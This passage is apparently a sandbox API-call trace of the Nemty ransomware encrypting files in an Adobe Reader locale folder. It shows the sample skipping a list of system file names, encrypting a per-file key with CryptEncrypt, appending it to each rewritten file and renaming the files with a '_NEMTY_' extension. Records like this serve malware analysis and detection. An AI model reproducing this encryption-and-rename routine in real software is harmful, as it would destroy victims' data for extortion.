out: hHeap=0x4f90000) returned 1 [0180.651] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SaveAsRTF.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\saveasrtf.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SaveAsRTF.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\saveasrtf.nld._nemty_kgobjgd_")) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.651] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.NLD", cAlternateFileName="")) returned 1 [0180.651] lstrcmpiW (lpString1="Search.NLD", lpString2=".") returned 1 [0180.651] lstrcmpiW (lpString1="Search.NLD", lpString2="..") returned 1 [0180.651] lstrcmpiW (lpString1="Search.NLD", lpString2="...") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="windows") returned -1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="rsa") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="NTDETECT.COM") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="ntldr") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="MSDOS.SYS") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="IO.SYS") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="boot.ini") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="boot.ini") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="ntuser.dat") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="desktop.ini") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="CONFIG.SYS") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="RECYCLER") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="bootmgr") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="programdata") returned 1 [0180.652] lstrcmpiW (lpString1="Search.NLD", lpString2="appdata") returned 1 [0180.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.653] Sleep (dwMilliseconds=0x5) [0180.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f545890, dwHighDateTime=0x1d561e8)) [0180.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f545890, dwHighDateTime=0x1d561e8)) [0180.662] GetLastError () returned 0x0 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.662] GetLastError () returned 0x0 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.662] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.662] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.662] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.662] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="gMcuDsbAF4GPW4WnMXrLT0iwCxbv+cySgurTbngW8aCEGkA8w/4K0p/ygWd+Xd+S\r\nId8aVjEb7NSjvvWxMavCbB58ro1TY69REg66/STV/81IN56ERmgE1/Rw5CoFVyuh\r\nnAi4X0BxtX6SVmtYDodOAZ7rT6peT3hHvrbNcnm0NllcPPdA+RVpJrcJZsFoA0Ua\r\nlXR3uqWVC/GSXoNIVm2NNHUfbUfsw/DoYdM9Emwaok46OobWMxrSShxxr9VKyjYH\r\nIA35GaY1TGxRtk2yvnCLXFyihnxUX5TncOon9eVUBg6smi/ub5ZMuQxZ0itlpKLY\r\nzOEeYyzPy7BIx2TcXoWUVg==\r\n", pcchString=0x653e5dc) returned 1 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Search.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\search.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.663] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24576) returned 1 [0180.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6000) returned 0x6352c48 [0180.663] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.663] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6000, lpOverlapped=0x0) returned 1 [0180.666] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.666] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6000, lpOverlapped=0x0) returned 1 [0180.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.666] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0180.666] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.666] CloseHandle (hObject=0x2e8) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.667] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Search.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\search.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Search.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\search.nld._nemty_kgobjgd_")) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.667] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.NLD", cAlternateFileName="")) returned 1 [0180.667] lstrcmpiW (lpString1="SendMail.NLD", lpString2=".") returned 1 [0180.667] lstrcmpiW (lpString1="SendMail.NLD", lpString2="..") returned 1 [0180.667] lstrcmpiW (lpString1="SendMail.NLD", lpString2="...") returned 1 [0180.667] lstrcmpiW (lpString1="SendMail.NLD", lpString2="windows") returned -1 [0180.667] lstrcmpiW (lpString1="SendMail.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.667] lstrcmpiW (lpString1="SendMail.NLD", lpString2="rsa") returned 1 [0180.667] lstrcmpiW (lpString1="SendMail.NLD", lpString2="NTDETECT.COM") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="ntldr") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="MSDOS.SYS") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="IO.SYS") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="boot.ini") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="boot.ini") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="ntuser.dat") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="desktop.ini") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="CONFIG.SYS") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="RECYCLER") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="bootmgr") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="programdata") returned 1 [0180.668] lstrcmpiW (lpString1="SendMail.NLD", lpString2="appdata") returned 1 [0180.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.669] Sleep (dwMilliseconds=0x5) [0180.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f56b9f0, dwHighDateTime=0x1d561e8)) [0180.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f56b9f0, dwHighDateTime=0x1d561e8)) [0180.677] GetLastError () returned 0x0 [0180.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.677] GetLastError () returned 0x0 [0180.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.677] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.677] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.677] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.677] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="8rTX4B3Exfa45d+FWCFNkyOvicJ/m7VxBWD4jfmozKqbDTldmPEpx+x5x4VlN6cI\r\nwh7U2G5H1x9Cn6tWXIIyBIvLwgovInw3PvcS8MByYOWYQFMqZxbYjSkw1zUHxekh\r\nE+GYqDc8GK3GQsEkxqy+1ipLRM+Qv7hmS1PuLWtnicpiEAfqEwml8WNE44rKgVfN\r\naHU8sbHBEzs9KopefS6JXtf5vyRTy2I+xXjOT9zJhiMbrAhhFS+jYADhozybLF2u\r\nP02IF8R3J9J98waMpe2I7QCs90jdzVBSXa6gWIjHPaHWGg0umdVkPfX0siJ6a5gq\r\nfgqb9COQ9NNXp4GFsGbltg==\r\n", pcchString=0x653e5dc) returned 1 [0180.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.678] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SendMail.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\sendmail.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.678] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16384) returned 1 [0180.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4000) returned 0x6352c48 [0180.678] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.678] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4000, lpOverlapped=0x0) returned 1 [0180.681] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.681] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4000, lpOverlapped=0x0) returned 1 [0180.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.681] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0180.681] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.681] CloseHandle (hObject=0x2e8) returned 1 [0180.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.682] MultiByteToWideChar (in: 